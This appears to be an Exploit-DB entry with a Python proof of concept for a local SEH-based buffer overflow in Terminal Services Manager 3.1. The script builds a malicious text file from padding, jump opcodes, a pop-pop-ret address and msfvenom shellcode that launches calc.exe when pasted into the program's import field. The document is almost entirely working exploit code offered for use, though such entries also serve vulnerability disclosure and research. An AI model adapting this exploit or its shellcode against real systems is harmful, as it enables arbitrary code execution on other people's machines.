Terminal Services Manager 3.1 - Local Buffer Overflow (SEH)

EDB-ID:
46058

CVE:
N/A

EDB Verified: ×

Author:
BZYO

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS_X86

Date:
2018-12-27

Vulnerable App:

```
# Exploit Title: Terminal Services Manager 3.1 - Buffer Overflow (SEH)
# Date: 2018-12-25
# Exploit Author: bzyo
# Twitter: @bzyo_
# Vulnerable Software: Terminal Services Manager 3.1
# Vendor Homepage: https://lizardsystems.com
# Version: 3.1
# Software Link: https://lizardsystems.com/download/tsmanager_setup.exe
# Tested Windows 7 SP1 x86

# Other affected software from the vendor
# Software Link: https://lizardsystems.com/download/rpexplorer_setup.exe
# Software Link: https://lizardsystems.com/download/rshutdown_setup.exe
# Software Link: https://lizardsystems.com/download/rdaudit_setup.exe

# PoC
# 1. run script
# 2. run add computers wizard
# 3. select import from files
# 4. paste tsmang.txt into computer names field
# 5. pop calc

#bad chars \x00\x0d\x0e

#!/usr/bin/python

import struct

junk2 = "A"*100
junk1 = "B"*74
jmp2 = "\xe9\x71\xfe\xff\xff\xcc"
jmp1 = "\xeb\xf8\xcc\xcc"

#0x0049709f : pop esi # pop ebx # ret  tsmanager.exe
seh = struct.pack('<L',0x0049709f)

#Payload size: 220 bytes
#msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0d\x0e" -f python
calc =  ""
calc += "\xdb\xcd\xd9\x74\x24\xf4\x5a\x2b\xc9\xbe\xbb\x1e\xdd"
calc += "\x8e\xb1\x31\x31\x72\x18\x83\xc2\x04\x03\x72\xaf\xfc"
calc += "\x28\x72\x27\x82\xd3\x8b\xb7\xe3\x5a\x6e\x86\x23\x38"
calc += "\xfa\xb8\x93\x4a\xae\x34\x5f\x1e\x5b\xcf\x2d\xb7\x6c"
calc += "\x78\x9b\xe1\x43\x79\xb0\xd2\xc2\xf9\xcb\x06\x25\xc0"
calc += "\x03\x5b\x24\x05\x79\x96\x74\xde\xf5\x05\x69\x6b\x43"
calc += "\x96\x02\x27\x45\x9e\xf7\xff\x64\x8f\xa9\x74\x3f\x0f"
calc += "\x4b\x59\x4b\x06\x53\xbe\x76\xd0\xe8\x74\x0c\xe3\x38"
calc += "\x45\xed\x48\x05\x6a\x1c\x90\x41\x4c\xff\xe7\xbb\xaf"
calc += "\x82\xff\x7f\xd2\x58\x75\x64\x74\x2a\x2d\x40\x85\xff"
calc += "\xa8\x03\x89\xb4\xbf\x4c\x8d\x4b\x13\xe7\xa9\xc0\x92"
calc += "\x28\x38\x92\xb0\xec\x61\x40\xd8\xb5\xcf\x27\xe5\xa6"
calc += "\xb0\x98\x43\xac\x5c\xcc\xf9\xef\x0a\x13\x8f\x95\x78"
calc += "\x13\x8f\x95\x2c\x7c\xbe\x1e\xa3\xfb\x3f\xf5\x80\xf4"
calc += "\x75\x54\xa0\x9c\xd3\x0c\xf1\xc0\xe3\xfa\x35\xfd\x67"
calc += "\x0f\xc5\xfa\x78\x7a\xc0\x47\x3f\x96\xb8\xd8\xaa\x98"
calc += "\x6f\xd8\xfe\xfa\xee\x4a\x62\xd3\x95\xea\x01\x2b"

buffer = junk2 + calc + junk1 + jmp2 + jmp1 + seh

with open("tsmang.txt","wb") as f:
    f.write(buffer[:-1])
```

Tags: Local Buffer Overflow

Advisory/Source: Link